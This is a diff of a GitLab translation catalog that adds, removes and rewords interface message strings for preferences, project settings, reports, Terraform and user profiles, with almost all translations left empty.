@@ -20218,9 +20686,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20242,9 +20707,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20299,6 +20761,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20428,6 +20893,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20437,6 +20920,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20467,6 +20953,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20824,9 +21313,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21079,7 +21565,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21121,6 +21610,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21181,9 +21673,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21205,6 +21694,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21274,6 +21769,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21655,6 +22153,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21970,6 +22471,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22123,6 +22627,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22207,9 +22714,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22285,6 +22789,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22312,9 +22819,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22519,9 +23023,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22537,15 +23038,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22624,6 +23122,15 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22657,6 +23164,12 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22708,6 +23221,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22738,12 +23254,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22771,6 +23293,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22804,10 +23329,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22927,12 +23452,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23059,6 +23590,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23098,6 +23632,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23119,6 +23656,9 @@ msgstr[2] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23188,6 +23728,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23251,12 +23794,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23284,9 +23821,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23389,12 +23923,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23413,7 +23941,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23470,15 +23998,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23581,6 +24103,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23620,9 +24145,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23713,6 +24235,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23899,6 +24424,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24064,6 +24592,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24181,9 +24715,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24526,12 +25057,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24574,21 +25099,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24607,6 +25141,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24703,9 +25240,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24760,13 +25294,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24796,6 +25333,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24892,10 +25432,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24946,6 +25489,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25057,9 +25603,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25105,7 +25648,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25186,10 +25729,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25471,10 +26017,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25498,6 +26044,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25615,9 +26164,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25777,6 +26323,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25945,6 +26503,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25954,6 +26515,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26002,6 +26566,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26176,6 +26743,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26344,9 +26914,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "Å ablon"
@@ -26386,6 +26953,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26398,24 +26968,48 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26437,6 +27031,12 @@ msgstr[2] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26464,6 +27064,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26494,6 +27097,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26590,9 +27196,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26602,10 +27205,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26674,9 +27277,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26719,6 +27319,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26767,6 +27370,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26812,6 +27421,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26923,6 +27535,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26932,7 +27547,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26944,9 +27559,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26962,6 +27574,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27049,6 +27664,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27364,9 +27982,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27376,9 +27991,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27421,6 +28033,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27484,7 +28099,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27493,9 +28108,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27610,7 +28222,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27631,9 +28243,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27712,6 +28321,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27757,6 +28369,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28057,6 +28672,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28075,6 +28693,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28210,7 +28831,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28309,6 +28930,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28651,6 +29275,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28717,7 +29344,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28789,10 +29416,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28987,9 +29614,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29008,6 +29632,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29044,6 +29671,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29134,6 +29764,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29281,6 +29914,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29338,6 +29977,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29383,6 +30025,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29413,6 +30058,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29449,6 +30097,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
